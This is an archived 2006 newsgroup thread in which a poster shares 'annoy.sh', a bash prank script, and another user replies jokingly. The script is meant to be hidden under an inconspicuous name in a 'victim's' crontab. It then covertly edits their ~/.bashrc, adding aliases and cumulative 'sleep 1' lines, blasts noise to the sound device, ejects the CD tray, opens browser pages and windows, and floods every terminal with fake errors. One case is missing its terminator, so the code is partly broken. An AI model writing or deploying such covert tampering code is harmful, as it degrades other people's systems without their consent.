Unix Shell - annoy.sh

This is Interesting: Free IT Magazines  
Home > Archive > Unix Shell > January 2006 > annoy.sh





You are viewing an archived Text-only version of the thread. To view this thread in it's original format and/or if you want to reply to this thread please [click here]

Author annoy.sh
bob the builder

2006-01-19, 6:24 pm

enjoy...

(feel free to give feedback)


#!/bin/bash
# Usage: rename to "..." or " " or something else inconspicuous and
then add
# to crontab to annoy your victim.

DATE=`date +%H`
if [ $DATE -gt 9 ] && [ $DATE -lt 16 ]
then
NUM=`echo $RANDOM`
if [ $NUM -lt 2000 ]
then
i=$(for x in $(seq 1 9); do echo $RANDOM $x; done |sort -n
|head -n1 |cut -f2 -d " ")
echo $i >> ~/... # this should be the name of your script and
# will record which statements below that have
ran.
case $i in
0) echo 'alias vi="emacs" ' >> ~/.bashrc
1) play $(for x in `locate *.wav`; do echo $RANDOM $x;
done | sort -n | head -n1 | cut -f 2 -d " ") ;;
2) dd if=/dev/urandom of=/dev/dsp count=5 ;;
3) eject /mnt/cdrom; eject -t /mnt/cdrom ;;
4) echo "sleep 1" >> ~/.bashrc ;;
5) xclock -display :0 & ;;
6) xterm -display :0 & ;;
7) mozilla --display=0:0 http://www.usahunks.com ;;
8) mozilla --display=0:0
http://home.comcast.net/~etrata/flash/banana2.swf ;;
9) for file in /dev/pts/*; do echo "ERROR:
ExecEvalExpr: unknown expression type $RANDOM" > $file; done ;;
# 10) echo 'alias ls="echo Sorry, file not found" ' >>
~/.bashrc
esac
fi
fi
exit

Bruce Barnett

2006-01-19, 6:24 pm

"bob the builder" <ewaguespack@gmail.com> writes:

> if [ $DATE -gt 9 ] && [ $DATE -lt 16 ]



Shouldn't this run on April 1st, or every Friday the 13th?



--
Sending unsolicited commercial e-mail to this account incurs a fee of
$500 per message, and acknowledges the legality of this contract.
Sponsored Links






Free braindumps | Software forum | Database administration forum

Copyright 2003 - 2008 webservertalk.com